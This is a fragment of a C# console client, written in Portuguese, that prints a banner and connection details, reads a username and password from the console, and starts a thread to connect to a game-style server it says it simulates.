                Logger.Mostrar($"  Computer: {Environment.MachineName}   Date:[{DateTime.Now.ToString("dd/MM/yy HH:mm:ss")} Process: {Environment.ProcessorCount} Fisic: {Environment.WorkingSet}");
                Logger.Mostrar("[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]");
                Logger.Mostrar("[]                                                                          []");
                Logger.Mostrar("[]              *</>  Developed by: (c) Wesley Vale - 2019  </>*            []");
                Logger.Mostrar("[]                                                                          []");
                Logger.Mostrar("[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]");
                Logger.Error("------------------------------------------------------------------------------");
                Logger.Error("                  O Impossivel é só questão de opiniao!");
                Logger.Error("------------------------------------------------------------------------------");
                Logger.Warnnig($"Socket: {load.IP}:{load.PORT} Cliente: {load.CLIENTEVERSION} Região: {load.region} Host: {load.CONNECTION}");
                Logger.Warnnig("");
                try
                {
                    // Mail.SendEmail();
                    Logger.Warnnig("       Programa Desenvolvido para simular uma ação à um Host(Server).");
                    if (load.AutoCreate)
                    {
                        new Thread(new ThreadStart(Conexao)).Start();
                    }
                    else
                    {
                        Logger.Error("");
                        Logger.Conta("[Async funtions]  Digite seu usuario: ");
                        string UserLogin = Console.ReadLine();
                        Logger.Conta("[Async funtions]  Digite sua senha: ");
                        string UserPass = Console.ReadLine();

                        if (!string.IsNullOrEmpty(UserLogin) && !string.IsNullOrEmpty(UserPass))
                        {
                            if (UserLogin.Length <= 20 && UserLogin.Length >= 4 && UserPass.Length <= 20 && UserPass.Length >= 4)
                            {
                                load.USER = UserLogin;
                                load.PASS = UserPass;
                                Logger.Warnnig($"[Async funtions]  Conexão user '{load.USER}' '{load.PASS}'");
                                Logger.Warnnig("[Async funtions] Pressione OK, Para continuar...");
                                new Thread(new ThreadStart(Conexao)).Start();
                            }
                            else
                            {
                                Logger.Error($"[Async funtions]  Login e senha não pode ser menor que 4 ou maior que 20!");
                            }
                        }
                        else
                        {
                            Logger.Error($"[Async funtions]  Error ao tentar logar.");
                        }
                    }
                }
                catch (Exception ex)
                {
                    Logger.Error(ex.ToString());
                }
            }
            catch (Exception ex)
            {
                ex.ToString();
            }
            Process.GetCurrentProcess().WaitForExit();
        }